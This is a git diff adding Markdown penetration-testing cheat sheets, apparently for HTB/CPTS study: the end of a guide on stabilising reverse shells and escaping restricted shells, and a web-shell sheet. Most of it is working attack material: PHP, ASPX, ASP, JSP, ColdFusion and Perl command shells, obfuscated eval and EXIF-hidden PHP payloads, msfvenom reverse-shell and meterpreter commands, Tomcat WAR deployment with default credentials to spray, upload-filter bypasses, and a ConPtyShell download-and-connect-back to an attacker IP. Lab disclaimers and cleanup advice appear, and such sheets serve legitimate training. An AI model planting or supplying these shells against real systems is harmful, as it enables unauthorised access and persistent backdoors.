+Escapes are recognized only after a newline and only when a PTY was requested.
+
+```text
+Enter, then ~? show escape help
+Enter, then ~. disconnect
+Enter, then ~^Z suspend the local ssh client
+Enter, then ~# list forwarded connections
+Enter, then ~C open the forwarding command line
+```
+
+At the `~C` prompt:
+
+```text
+-L 8080:127.0.0.1:80
+-D 1080
+-KL 8080
+```
+
+> [!note]+ Shell restrictions still apply
+> `ssh -tt ... bash` works only if `sshd` permits the command and the account is not constrained by `ForceCommand`, a restricted shell, a container/jail, or another policy.
+
+---
+
+## 7 · Meterpreter and framework sessions
+
+### Meterpreter to operating-system shell
+
+```text
+meterpreter > shell
+```
+
+Then on a Unix target:
+
+```bash
+python3 -c 'import pty; pty.spawn("/bin/bash")'
+```
+
+### Basic shell to Meterpreter
+
+From msfconsole:
+
+```text
+sessions
+sessions -u <SESSION_ID>
+```
+
+Or:
+
+```text
+use post/multi/manage/shell_to_meterpreter
+set SESSION <SESSION_ID>
+run
+```
+
+An upgrade changes the session transport/features; it does not guarantee a PTY inside a subsequent `shell` channel.
+
+---
+
+## 8 · Restricted-shell identification and escape
+
+Restricted shells are policy boundaries, not bad TTYs. Identify the restriction before trying available escape-capable programs.
+
+### Identify the shell and allowed surface
+
+```bash
+printf 'SHELL=%s argv0=%s flags=%s\n' "$SHELL" "$0" "$-"
+getent passwd "$(id -un)" 2>/dev/null
+echo "$PATH"
+type -a sh bash python3 python perl ruby vi vim less man awk find 2>/dev/null
+compgen -c 2>/dev/null | sort -u
+```
+
+Common indicators:
+
+| Shell | Typical behavior |
+|---|---|
+| `rbash` | Blocks `cd`, slashes in command names, PATH changes, `exec` and output redirection |
+| `rksh` / restricted ksh | Similar path, directory and redirection restrictions |
+| `rzsh` | zsh restricted option; path/command limitations |
+| `lshell` | Allow/deny lists and explicit “forbidden command” messages |
+| `rssh` / `git-shell` | Purpose-built command set rather than a normal interactive shell |
+| container/chroot | Normal shell syntax but filesystem/process/network boundaries remain |
+
+### Rank escape candidates
+
+1. Interpreters already on the allowed PATH.
+2. Editors and pagers with shell commands.
+3. An SSH forced command or native PTY.
+4. Environment-controlled helpers such as `PAGER`, `VISUAL` or `SHELL`.
+5. A permitted shell script or command that invokes another program.
+
+### Interpreters
+
+```bash
+python3 -c 'import os; os.execl("/bin/bash", "bash", "-i")'
+perl -e 'exec "/bin/bash";'
+ruby -e 'exec "/bin/bash"'
+lua -e 'os.execute("/bin/bash")'
+php -r 'system("/bin/bash");'
+awk 'BEGIN {system("/bin/bash")}'
+```
+
+If slashes are rejected but the binary is on PATH, try `bash` rather than `/bin/bash`.
+
+### Editors and pagers
+
+Vim:
+
+```vim
+:set shell=/bin/bash
+:shell
+```
+
+Alternative Vim command:
+
+```vim
+:!/bin/bash
+```
+
+Less or man:
+
+```text
+!/bin/bash
+```
+
+Nano, when Execute Command is enabled:
+
+```text
+Ctrl+R
+Ctrl+X
+/bin/bash
+```
+
+### Common command helpers
+
+```bash
+find . -exec /bin/bash \; -quit
+env /bin/bash -i
+gdb -nx -ex '!bash' -ex quit
+```
+
+### rbash-specific observations
+
+GNU Bash applies restricted-mode checks after startup files are read, and shell scripts found as commands may execute in a non-restricted Bash process. Whether that is usable depends on PATH, file permissions and the surrounding jail.
+
+```bash
+BASH_CMDS[a]=/bin/bash
+a
+```
+
+If a permitted editor or upload route can place a reviewed script in an executable PATH directory:
+
+```bash
+allowed-script.sh
+```
+
+### SSH from outside the restriction
+
+```bash
+ssh -tt user@target 'bash --noprofile --norc -i'
+```
+
+### Verify the escape
+
+```bash
+printf 'argv0=%s flags=%s shell=%s\n' "$0" "$-" "$SHELL"
+cd /
+printf 'redirect-test\n' > /tmp/tty-escape-check
+rm -f /tmp/tty-escape-check
+```
+
+> [!warning]+ Escape does not mean host escape
+> Leaving `rbash` may only remove command-language restrictions. It does not escape a chroot, namespace, container, mandatory-access-control policy or low-privilege account.
+
+---
+
+## 9 · Windows shell quality and ConPTY
+
+Windows `cmd.exe` and PowerShell over a raw socket have the same class of problems: line editing, console applications and Ctrl+C may not behave normally. Windows Pseudo Console (ConPTY) provides a console host suitable for interactive character-mode applications on supported Windows versions.
+
+### Diagnose — CMD
+
+```batch
+whoami
+ver
+echo %CMDCMDLINE%
+where powershell.exe
+where pwsh.exe
+```
+
+### Diagnose — PowerShell
+
+```powershell
+whoami
+$ExecutionContext.SessionState.LanguageMode
+[Environment]::OSVersion.Version
+[Environment]::Is64BitProcess
+Get-CimInstance Win32_Process -Filter "ProcessId=$PID" |
+ Select-Object ProcessId, ParentProcessId, Name, ExecutablePath
+```
+
+`ConstrainedLanguage` permits cmdlets and basic language elements but restricts many .NET/COM operations. Treat that as an application-control signal; do not assume a failed script means networking is broken.
+
+### Prefer native management channels when credentials exist
+
+```bash
+evil-winrm -i 10.10.10.10 -u user -p '<password>'
+ssh user@10.10.10.10
+xfreerdp /v:10.10.10.10 /u:user /p:'<password>'
+```
+
+### ConPtyShell workflow
+
+Review and stage the script from its primary repository rather than executing an unreviewed remote one-liner.
+
+Attacker listener:
+
+```bash
+stty raw -echo; (stty size; cat) | nc -lvnp 4444
+```
+
+Target PowerShell:
+
+```powershell
+Invoke-WebRequest http://10.10.14.2:8000/Invoke-ConPtyShell.ps1 `
+ -OutFile $env:TEMP\Invoke-ConPtyShell.ps1
+
+. $env:TEMP\Invoke-ConPtyShell.ps1
+Invoke-ConPtyShell 10.10.14.2 4444
+```
+
+> [!note]+ ConPTY requirements
+> ConPTY is available on modern Windows releases beginning with Windows 10 version 1809 / Server 2019-era builds. Script execution can still be affected by PowerShell language mode, application control, AMSI, proxy settings and endpoint protection.
+
+### Restore the local terminal
+
+```bash
+stty sane
+reset
+```
+
+---
+
+## 10 · Troubleshooting matrix
+
+| Symptom | Cause | Fix |
+|---|---|---|
+| `stty: inappropriate ioctl for device` | Ran `stty` on a stream without a PTY, or on the wrong side | Spawn target PTY first; run local raw-mode command on the attacker terminal |
+| Ctrl+C kills the whole connection | No controlling PTY or local terminal still processes signals | Complete PTY + raw-mode steps; test with `sleep` |
+| Arrow keys print `^[[A` | No readline/PTY, or wrong `TERM` | Allocate PTY; set a supported TERM |
+| Commands appear twice | Echo enabled on both sides | Ensure local `stty raw -echo` or socat `echo=0` |
+| No prompt after `fg` | Prompt not redrawn or reset waiting for terminal name | Press Enter; run `reset`; enter `xterm` if asked |
+| `vim`/`top` is garbled | Wrong geometry or missing terminfo | Set rows/cols; fall back from `xterm-256color` to `xterm`/`vt100` |
+| `su`/`ssh` still will not prompt | PTY incomplete, PAM policy, wrong credential or account restriction | Verify `tty` first, then diagnose auth/policy separately |
+| `script` has different option errors | BSD/util-linux syntax difference | Check `script --help`; BSD commonly accepts `script -q /dev/null /bin/bash` |
+| Socat connects then exits | Quoting, missing shell, wrong architecture or listener mismatch | Use absolute shell path; test socat version; verify both endpoints |
+| Local terminal is broken after disconnect | Local side remained raw/no-echo | Type `stty sane` then `reset` blindly, or use another terminal to repair the TTY |
+| `tty` works but `jobs` does not | Shell is not interactive or lacks job control | Start `bash -i` inside the PTY; inspect process session/group |
+| Windows script fails immediately | CLM, script policy, AMSI/EDR, architecture or unsupported build | Check language mode/build; prefer approved WinRM/SSH/RDP when available |
+
+### Emergency local recovery from another terminal
+
+Find the terminal device in the affected window:
+
+```bash
+ps -t pts/3
+```
+
+Repair it explicitly:
+
+```bash
+stty sane -F /dev/pts/3
+```
+
+---
+
+## 11 · Operational safety and cleanup
+
+### Before changing the session
+
+- Record the current user, process tree, shell, `tty` result and local terminal geometry.
+- Save the local `stty -g` state.
+- Note every transferred binary/script and its SHA-256.
+- Use a unique listener port within scope.
+
+### During the session
+
+- Avoid putting credentials in command-line arguments where process listings or shell history expose them.
+- Do not use terminal experiments on long-running or stateful target processes.
+- Treat automated shell managers as tools that may upload files or run enumeration automatically.
+
+### Cleanup
+
+```bash
+# Target: remove only artifacts you staged.
+rm -f /tmp/socat
+
+# Attacker: always restore terminal behavior.
+stty sane
+reset
+```
+
+On Windows:
+
+```powershell
+Remove-Item $env:TEMP\Invoke-ConPtyShell.ps1 -ErrorAction SilentlyContinue
+```
+
+Do not clear target logs or history. Preserve the engagement record and report any security boundary you bypassed.
+
+---
+
+## Quick reference
+
+| Situation | First choice | Follow-up |
+|---|---|---|
+| Linux raw reverse shell | Python `pty.spawn` | Ctrl+Z → local raw mode → reset/TERM/size |
+| No Python | `script -qc /bin/bash /dev/null` | Same stty workflow |
+| socat available | socat PTY listener + EXEC | Set TERM/geometry |
+| Only netcat | `rlwrap nc` for comfort | Still allocate a target PTY |
+| Valid SSH credential | `ssh -tt` | Avoid netcat stabilization |
+| Meterpreter `shell` | Spawn PTY inside shell | Or upgrade session type |
+| rbash/rksh | Inventory allowed commands | Interpreter/editor/pager/SSH escape |
+| Windows modern build | Native WinRM/SSH/RDP first | Reviewed ConPTY tooling if required |
+| Broken local terminal | `stty sane` | `reset` |
+
+## Lessons learned
+
+1. **A new shell is not a PTY.** Perl `exec` and `bash -i` can improve the prompt without fixing `tty`, job control or signals.
+2. **PTY allocation and raw mode are separate.** You normally need both halves of the gold-path workflow.
+3. **Save `stty -g` first.** It turns a broken local terminal into a one-command recovery.
+4. **Geometry is functional, not cosmetic.** Wrong rows/columns corrupt editors, pagers and interactive tools.
+5. **Restricted shell is policy.** Stabilize the terminal, then evaluate the restriction as its own security boundary.
+6. **Prefer native channels.** If SSH, WinRM or RDP credentials are available, they are more reliable than repairing a raw socket.
+7. **Clean up tools, not evidence.** Remove staged binaries/scripts; do not erase logs or history.
+
+## References
+
+1. [Python documentation — `pty`](https://docs.python.org/3/library/pty.html)
+2. [util-linux `script(1)` manual](https://man7.org/linux/man-pages/man1/script.1.html)
+3. [GNU Coreutils — `stty`](https://www.gnu.org/software/coreutils/manual/html_node/stty-invocation.html)
+4. [OpenSSH `ssh(1)` — PTY allocation and escape characters](https://man.openbsd.org/ssh)
+5. [GNU Bash — The Restricted Shell](https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html)
+6. [Microsoft — Windows Pseudoconsoles](https://learn.microsoft.com/en-us/windows/console/pseudoconsoles)
+7. [Microsoft PowerShell — Language Modes](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes)
+8. [ConPtyShell primary repository](https://github.com/antonioCoco/ConPtyShell)
+9. [pwncat-cs primary repository](https://github.com/calebstewart/pwncat)
diff --git a/src/content/sheets/exploitation/web-shells.md b/src/content/sheets/exploitation/web-shells.md
@@ -0,0 +1,636 @@
+---
+title: "Web Shells (CPTS)"
+description: "Creating and deploying web shells across PHP, ASP/ASPX and JSP — upload paths, language one-liners and post-drop stabilization."
+category: exploitation
+tags: ["exploitation", "web", "file-inclusion"]
+tools: ["Nmap", "WPScan", "Metasploit", "Meterpreter", "socat"]
+difficulty: intermediate
+updated: "2026-08-28"
+source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/05 - Web Shells - CPTS Cheat Sheet.md"
+---
+# Web Shells — Creating & Deploying
+
+## Summary
+
+A **web shell** is a script written in the server's own web language (PHP / ASP(X) / JSP / CFM / Perl / Python) that, once it lands in a web-served directory, hands you OS command execution through the browser. Two halves to the job: **create** the right shell for the stack, and **deploy** it — via an unrestricted upload, a filter you had to bypass, an LFI/SQLi write primitive, or a management interface. This card is a single-source reference for every flavour of web shell and every common way to get one onto disk and executing.
+
+> [!danger]+ HTB-Only Boundary
+>
+> 1. Every payload here is for **Hack The Box, HTB Academy, deliberately vulnerable labs, or systems you own and are explicitly authorised to test**. A dropped `.php`/`.aspx` on a real host is unauthorised access + a persistent backdoor.
+> 2. A web shell on disk is a **forensic artifact** and often survives your session — clean it up (see #Operational safety, detection & cleanup).
+> 3. **Never upload a real payload to public VirusTotal** — it burns the hash to every AV vendor.
+> 4. Treat the web shell as a **stepping stone to a proper reverse shell**, never the end state — it's fragile, semi-interactive, and noisy.
+
+---
+
+## Field workflow — identify, validate, operate, remove
+
+| Phase | Action | Evidence to retain |
+|---|---|---|
+| 1 · Fingerprint | Confirm server, framework, handler and accepted extensions | Headers, response body, version source |
+| 2 · Probe | Use harmless arithmetic or a static marker before OS commands | Request/response pair and returned marker |
+| 3 · Place | Record the client filename, server filename and resolved URL | Upload response, path, timestamp, SHA-256 |
+| 4 · Validate | Run identity, working-directory and OS checks | Service identity, cwd, architecture, PATH |
+| 5 · Operate | Prefer the smallest command needed to prove impact | Commands, UTC timestamps and outputs |
+| 6 · Upgrade | Move to a reverse shell/TTY only when the task requires interaction | Listener details and new process context |
+| 7 · Remove | Delete the shell and every companion artifact | Removal command and negative verification |
+
+```bash
+# Reusable lab context
+export BASE_URL="http://target.htb"
+export SHELL_URL="$BASE_URL/uploads/audit.php"
+export LHOST="10.10.14.2"
+export LPORT="4444"
+```
+
+> [!tip]+ Start with a marker
+> A static file or `7*7` interpreter probe separates “upload succeeded” from “the server executed my code.” Do not jump straight to a reverse shell when a harmless marker proves the handler and path.
+
+---
+
+## Pick the right shell for the stack
+
+| Server / tech | Tell (how you spot it) | Shell format | Interpreter entry |
+|---|---|---|---|
+| **Apache/Nginx + PHP** | `X-Powered-By: PHP`, `.php` URLs, `phpinfo` | `.php .phtml .php5 .pht .phar` | `system()` / `shell_exec()` |
+| **IIS + ASP.NET** | `Server: Microsoft-IIS`, `aspnet_client/` dir, `.aspx` | `.aspx` (or classic `.asp`) | `System.Diagnostics.Process` |
+| **Apache Tomcat** | port 8080, `/manager`, `Coyote` banner | `.jsp` or deployable `.war` | `Runtime.getRuntime().exec()` |
+| **JBoss / WildFly** | `/jmx-console`, `/web-console` | `.war` | jsp inside the war |
+| **Adobe ColdFusion** | `.cfm`, port 8500, `CFIDE/` | `.cfm` | `<cfexecute>` |
+| **Apache + mod_perl/CGI** | `/cgi-bin/`, `.pl`/`.cgi` | `.pl .cgi` | backticks `` `$cmd` `` |
+| **Python (Flask/Django/CGI)** | `Werkzeug`, `gunicorn` banner | depends on framework | `os.system()` (rarely a drop-in file) |
+
+> [!tip]+ Match the format to what the target will *execute*, not to the file you have
+>
+> Uploading `shell.php` to an IIS/ASP.NET box gets you a downloadable text file, not execution. Confirm the stack first (banner, extensions, `whatweb`/`nmap -sV`), then pick the language. When unsure, drop a probe file (`test.php` containing `<?php echo 7*7; ?>`) and check whether it renders `49` or the source.
+
+```mermaid
+%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%%
+flowchart LR
+ A["Fingerprint stack\n(banner / ext / whatweb)"] --> B["Craft shell in\nserver's language"]
+ B --> C{"Delivery vector?"}
+ C -->|"file upload"| D["Upload\n(bypass filter if any)"]
+ C -->|"LFI / log / SQLi"| E["Write to webroot\nor poison + include"]
+ C -->|"mgmt iface"| F["Tomcat/JBoss WAR,\nWebDAV PUT, CMS editor"]
+ D --> G["Browse to path"]
+ E --> G
+ F --> G
+ G --> H["Run cmds → upgrade\nto reverse shell (revx/wshx)"]
+```
+
+---
+
+## 0 · Validate execution context
+
+A successful request is only the beginning. Establish the process identity and constraints before choosing a payload or writing more files.
+
+### Linux-hosted application
+
+```bash
+id
+pwd
+uname -a
+printf 'PATH=%s\n' "$PATH"
+command -v bash sh python3 python perl php curl wget nc socat
+env | sort
+```
+
+### Windows-hosted application — CMD
+
+```batch
+whoami /all
+cd
+ver
+set
+where cmd.exe
+where powershell.exe
+where pwsh.exe
+```
+
+### Windows-hosted application — PowerShell
+
+```powershell
+$ExecutionContext.SessionState.LanguageMode
+[Environment]::Is64BitProcess
+Get-Location
+Get-ChildItem Env: | Sort-Object Name
+Get-Command cmd.exe, powershell.exe, pwsh.exe -ErrorAction SilentlyContinue
+```
+
+> [!note]+ Interpret the result
+> Web commands run as the application-pool or service identity, inherit its environment, and usually start as a fresh process for every HTTP request. A successful `cd` does not normally persist to the next request. Use absolute paths or a stateful client, then upgrade when you need job control or interactive prompts.
+
+### Exercise GET and POST safely
+
+```bash
+# GET parameter — URL-encode the complete command
+curl -fsS -G "$SHELL_URL" --data-urlencode "cmd=id"
+
+# POST parameter — useful when the shell expects form data
+curl -fsS -X POST "$SHELL_URL" --data-urlencode "c=whoami"
+
+# Preserve a response for the engagement record
+curl -fsS -G "$SHELL_URL" --data-urlencode "cmd=pwd" -D headers.txt -o response.txt
+```
+
+> [!tip]+ Let curl perform the encoding
+> Use `--data-urlencode` for spaces, `&`, pipes, redirects and other shell metacharacters. Hand-building `?cmd=id && hostname` changes the HTTP query at `&`; it does not reliably send the complete command as one parameter.
+
+---
+
+## Map the request to the executing file
+
+“Uploaded successfully” does not prove that the file is reachable or executable. Record each layer separately so a `404`, source-code download or blank response has an obvious place to investigate.
+
+| Layer | Example | Question to answer |
+|---|---|---|
+| Virtual host | `app.target.htb` | Which `Host` header reaches the application? |
+| Public URL | `/media/2026/08/audit.php` | What URL did the application return or render? |
+| Physical path | `/var/www/app/public/media/...` | Where did the server actually store the file? |
+| Handler | PHP-FPM, ASP.NET, JSP/Tomcat, ColdFusion | Will this extension be interpreted or served as data? |
+| Process identity | `www-data`, `apache`, `IIS APPPOOL\Site` | Which permissions and environment apply? |
+| Request state | Cookie, CSRF token, multipart field name | What must be replayed to reach or trigger it? |
+
+### Prove the handler before proving command execution
+
+Use a unique static marker first. If interpreter execution is required, use harmless arithmetic and remove the probe after validation.
+
+```php
+<?php echo 7 * 7; ?>
+```
+
+```aspx
+<%@ Page Language="C#" %><%= 7 * 7 %>
+```
+
+```jsp
+<%= 7 * 7 %>
+```
+
+```cfm
+<cfoutput>#7 * 7#</cfoutput>
+```
+
+Rendered `49` proves the handler ran. Seeing source code proves it did not. A `404` says nothing about the handler until the URL/vhost and server-side name are confirmed.
+
+### Preserve the exact authenticated request
+
+Start from Burp's **Copy as curl** output when the upload uses authentication or CSRF protection. Keep the vhost, cookies, token, multipart field name and filename; simplify only after a successful replay.
+
+```bash
+export TARGET_IP='10.10.10.10'
+export TARGET_HOST='app.target.htb'
+
+# Maintain the application session and force the intended vhost to the target IP.
+curl -ksS -c webshell.cookies -b webshell.cookies \
+ --resolve "$TARGET_HOST:443:$TARGET_IP" \
+ "https://$TARGET_HOST/upload"
+
+# Representative multipart replay—use the real field and CSRF names from the app.
+curl -ksS -c webshell.cookies -b webshell.cookies \
+ --resolve "$TARGET_HOST:443:$TARGET_IP" \
+ -H 'X-CSRF-Token: REPLACE_FROM_SESSION' \
+ -F 'file=@probe.php;type=image/gif' \
+ -D upload.headers -o upload.body \
+ "https://$TARGET_HOST/upload"
+```
+
+Inspect the status, redirects and response body for a generated filename, UUID, JSON path or rendered media URL:
+
+```bash
+sed -n '1,40p' upload.headers
+sed -n '1,160p' upload.body
+rg -io '(/[^" ]+\.(php|aspx|jsp|cfm))|([0-9a-f]{8}-[0-9a-f-]{27,})' upload.body
+```
+
+### Resolve the physical webroot from execution context
+
+Linux-hosted web service:
+
+```bash
+pwd
+printf 'DOCUMENT_ROOT=%s\n' "${DOCUMENT_ROOT:-unset}"
+printf 'SCRIPT_FILENAME=%s\n' "${SCRIPT_FILENAME:-unset}"
+ps -o user,pid,ppid,comm,args -p $$ -p $PPID
+
+apachectl -S 2>/dev/null
+nginx -T 2>&1 | sed -n '1,200p'
+```
+
+Windows IIS — CMD:
+
+```batch
+cd
+echo %APPL_PHYSICAL_PATH%
+%windir%\system32\inetsrv\appcmd.exe list site
+%windir%\system32\inetsrv\appcmd.exe list vdir /text:physicalPath
+```
+
+Windows IIS — PowerShell:
+
+```powershell
+Get-Location
+$env:APPL_PHYSICAL_PATH
+
+Import-Module WebAdministration
+Get-Website | Select-Object Name, State, PhysicalPath, Bindings
+Get-WebVirtualDirectory | Select-Object Site, Path, PhysicalPath
+```
+
+These commands depend on the service account's read permissions and installed administration tools. Treat an empty variable or access error as “not available from this context,” not as proof that no webroot exists.
+
+### Know which shell parses the command
+
+| Runtime call | Shell metacharacters such as `&&`, `|`, `>`? | Reliable form |
+|---|---:|---|
+| PHP `system()` / ASPX `cmd.exe /c` | Yes | Send the complete command with URL encoding |
+| Java `Runtime.exec(String)` | No implicit shell | Explicitly call `/bin/sh -c` or `cmd.exe /c` |
+| PowerShell invocation | PowerShell syntax | Do not paste CMD-only quoting unchanged |
+
+Capture stderr when a command appears blank:
+
+```bash
+curl -fsS -G "$SHELL_URL" --data-urlencode 'cmd=id 2>&1'
+curl -fsS -G "$SHELL_URL" --data-urlencode 'cmd=pwd; printf "exit=%s\n" "$?"'
+```
+
+---
+
+## A · PHP web shells
+
+### Minimal one-liners
+
+```php
+<?php system($_GET['cmd']); ?> // classic GET
+<?php echo shell_exec($_GET['cmd']); ?> // shell_exec returns full output as string
+<?php passthru($_REQUEST['cmd']); ?> // $_REQUEST = GET or POST or cookie
+<?php if(isset($_POST['c'])) system($_POST['c']); ?> // POST-only (stays out of access logs' query string)
+```
+
+> [!info]+ Which exec function?
+> `system()` prints output + returns last line · `shell_exec()`/backticks return the **whole** output as a string (needs `echo`) · `passthru()` streams raw bytes (good for binary) · `exec()` returns only the **last** line unless you pass `$output`. If one is disabled via `disable_functions`, try the others: `proc_open`, `popen`, `pcntl_exec`. Check with a probe: `<?php var_dump(ini_get('disable_functions')); ?>`.
+
+### Compact keyed examples (lab-only)
+
+```php
+<?php @eval($_POST['pass']); ?> // China Chopper server side (client sends PHP)
+<?php @system($_REQUEST['0xdeadbeef']); ?> // non-default parameter name
+<?php @eval(base64_decode($_POST['x'])); ?> // base64-wrapped payload in body
+<?php $f='sys'.'tem'; @$f($_GET['c']); ?> // split string dodges naive grep for "system("
+```
+
+> [!tip]+ Blend with an image to survive `.jpg` uploads + LFI
+> ```bash
+> exiftool -Comment='<?php system($_GET["cmd"]); ?>' cat.jpg # payload rides in EXIF
+> mv cat.jpg cat.php.jpg # or serve as .php via .htaccess / include via LFI
+> ```
+> The file is a valid image (passes magic-byte checks) but contains live PHP once interpreted.
+
+### Prebuilt PHP shells
+
+```bash
+# Laudanum — pre-installed on Kali/Parrot, edit allowedIps first
+cp /usr/share/laudanum/php/php-reverse-shell.php ./shell.php # reverse
+cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php # pentestmonkey classic (edit $ip/$port)
+
+# WhiteWinterWolf wwwolf — robust cmd shell, works when system() is filtered
+# https://github.com/WhiteWinterWolf/wwwolf-php-webshell
+
+# p0wny-shell — single-file, pretty prompt UI (https://github.com/flozz/p0wny-shell)
+# b374k / c99 / r57 — full-featured but HEAVILY signatured; lab-only, expect AV hits
+```
+
+### weevely — stealth, obfuscated, encrypted PHP agent + client
+
+```bash
+weevely generate <password> agent.php # generates an obfuscated agent
+# upload agent.php, then connect:
+weevely http://$IP/uploads/agent.php <password>
+# gives a real terminal, modules for file ops, privesc enum, pivot, SQL, etc.
+```
+
+### msfvenom PHP payloads
+
+```bash
+msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o shell.php
+# msfvenom often omits the opening tag — prepend it if the app doesn't wrap:
+(echo '<?php ' ; cat shell.php) > s.php && mv s.php shell.php
+# meterpreter over PHP (richer post-ex):
+msfvenom -p php/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o met.php # catch with multi/handler
+```
+
+---
+
+## B · ASP / ASPX web shells (IIS)
+
+### ASPX command shell (drop-in, C#)
+
+```aspx
+<%@ Page Language="C#" %>
+<%@ Import Namespace="System.Diagnostics" %>
+<%@ Import Namespace="System.IO" %>
+<script runat="server">
+protected void Page_Load(object sender, EventArgs e){
+ ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]);
+ psi.RedirectStandardOutput = true;
+ psi.RedirectStandardError = true;
+ psi.UseShellExecute = false;
+ Process p = Process.Start(psi);
+ string output = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
+ p.WaitForExit();
+ Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>");
+}
+</script>
+```
+Browse: `http://$IP/shell.aspx?cmd=whoami`
+
+### Classic ASP (older IIS, VBScript)
+
+```asp
+<% Set o = Server.CreateObject("WScript.Shell")
+ Set e = o.Exec("cmd /c " & Request.QueryString("cmd"))
+ Response.Write("<pre>" & e.StdOut.ReadAll() & "</pre>") %>
+```
+
+### Antak — PowerShell-driven ASPX web shell (Nishang)
+
+```bash
+cp /usr/share/nishang/Antak-WebShell/antak.aspx ./Upload.aspx
+# edit line ~14: set $Username / $Password before uploading
+```
+Runs each command as a new process, can execute scripts **in memory**, and encodes traffic — the strongest option when the target is Windows + PowerShell. Browse to the file, authenticate, issue PowerShell.
+
+### Laudanum ASPX + msfvenom
+
+```bash
+cp /usr/share/laudanum/aspx/shell.aspx ./demo.aspx # edit allowedIps (~line 59), strip ASCII art
+msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o shell.aspx
+```
+
+> [!info]+ IIS extension quirks worth knowing
+> Handler mappings vary by IIS and ASP.NET version. Alternate extensions such as `.ashx`, `.asmx` or classic `.asp` execute only when the corresponding handler is enabled; trailing-dot/ADS behavior is legacy and configuration-dependent. Validate with a harmless marker. The `aspnet_client` directory is a useful ASP.NET clue, not proof that every extension executes.
+
+---
+
+## C · JSP / WAR web shells (Tomcat / JBoss)
+
+### Raw JSP command shell
+
+```jsp
+<%@ page import="java.util.*,java.io.*" %>
+<%
+ String cmd = request.getParameter("cmd");
+ if (cmd != null) {
+ boolean windows = System.getProperty("os.name").toLowerCase().contains("win");
+ String[] command = windows
+ ? new String[] {"cmd.exe", "/c", cmd}
+ : new String[] {"/bin/sh", "-c", cmd};
+ Process p = new ProcessBuilder(command).redirectErrorStream(true).start();
+ BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
+ String l; out.println("<pre>");
+ while ((l = r.readLine()) != null) out.println(l);
+ out.println("</pre>");
+ }
+%>
+```
+Drop as `cmd.jsp` in a webroot → `http://$IP:8080/cmd.jsp?cmd=id`. Prebuilt copy: `/usr/share/webshells/jsp/cmd.jsp`. The explicit `/bin/sh -c` / `cmd.exe /c` wrapper is what makes pipes, redirects and command chaining work; `Runtime.exec(String)` alone does not invoke a command shell.
+
+### Build a WAR by hand
+
+```bash
+mkdir webshell && cp /usr/share/webshells/jsp/cmd.jsp webshell/
+cd webshell && jar -cvf ../webshell.war * # -> webshell.war (deployed at /webshell/cmd.jsp)
+```
+
+### msfvenom WAR / JSP
+
+```bash
+msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o shell.war
+msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o shell.jsp
+unzip -l shell.war # note the random-named .jsp inside — that's the trigger path
+```
+
+### Deploy to Tomcat Manager (creds required)
+
+```bash
+# text API deploy
+curl -u tomcat:s3cret -T shell.war "http://$IP:8080/manager/text/deploy?path=/shell"
+curl "http://$IP:8080/shell/" # trigger reverse shell / browse cmd.jsp
+# Metasploit alternative: exploit/multi/http/tomcat_mgr_upload (set HttpUsername/HttpPassword)
+```
+
+> [!tip]+ No creds? Spray the Tomcat defaults
+> `tomcat:tomcat`, `admin:admin`, `tomcat:s3cret`, `admin:<blank>`, `role1:role1`. Manager lives at `/manager/html` (GUI) or `/manager/text` (API). JBoss equivalent: deploy the WAR via `/jmx-console` → `jboss.system:service=MainDeployer`.
+
+---
+
+## D · Other stacks (brief)
+
+```cfm
+<!-- ColdFusion .cfm -->
+<cfoutput><pre><cfexecute name="C:\Windows\System32\cmd.exe"
+ arguments="/c #URL.cmd#" timeout="20" variable="out"></cfexecute>#out#</pre></cfoutput>
+```
+
+```perl
+#!/usr/bin/perl
+# Perl CGI — drop in /cgi-bin/, chmod +x
+use CGI; my $q = CGI->new; print $q->header('text/plain'); print `$ENV{'QUERY_STRING'}`;
+```
+
+Python drop-in files are rare (frameworks don't execute arbitrary `.py` from the webroot); when you have Python **code injection** instead, use `os.system()`/`subprocess` inline rather than a file. Prebuilt collections: **PayloadsAllTheThings/Upload Insecure Files**, **tennc/webshell**, and SecLists `Web-Shells/`.
+
+---
+
+## E · Where the prebuilt shells live
+
+| Source | Path / URL | Languages |
+|---|---|---|
+| **Laudanum** | `/usr/share/laudanum/` | asp, aspx, jsp, php, cfm, perl |
+| **Kali webshells** | `/usr/share/webshells/{php,asp,aspx,jsp,perl,cfm}/` | all |
+| **Nishang / Antak** | `/usr/share/nishang/Antak-WebShell/` | aspx (PowerShell) |
+| **weevely** | `weevely generate` | php (stealth) |
+| **SecLists** | `/usr/share/seclists/Web-Shells/` | all |
+| **PayloadsAllTheThings** | github `swisskyrepo/PayloadsAllTheThings` | all + upload bypasses |
+| **tennc/webshell** | github `tennc/webshell` | huge archive |
+
+---
+
+## F · Deploying it — delivery vectors
+
+### 1. Unrestricted file upload (best case)
+
+Upload via the app's own upload feature (avatar, document, logo, import), then browse to the returned path. Find where it landed: common webroots below.
+
+```text
+Linux : /var/www/html /var/www /srv/http (Arch) /usr/share/nginx/html /opt/<app>
+Windows: C:\inetpub\wwwroot Tomcat: <install>/webapps/<app>/
+Uploads often under: /uploads /images /files /media /avatars /tmp
+```
+
+### 2. Upload filter bypass matrix
+
+> [!info]+ Bypass by what the filter checks
+> Work out **what** is being validated (extension? `Content-Type` header? magic bytes? real image content?) and defeat that one thing while keeping the file executable. See Command Injection - Filter Bypass Cheat Sheet for the injection-side companion.
+
+| Filter | Bypass |
+|---|---|
+| **Blacklisted `.php`** | `.php3 .php4 .php5 .php7 .pht .phtml .phar .inc` · ASP: `.asp .asa .cer .aspx` · JSP: `.jspx .jsw .jsv .war` |
+| **Case-sensitive blacklist** | `shell.pHp`, `shell.AsP`, `SHELL.PHP5` |
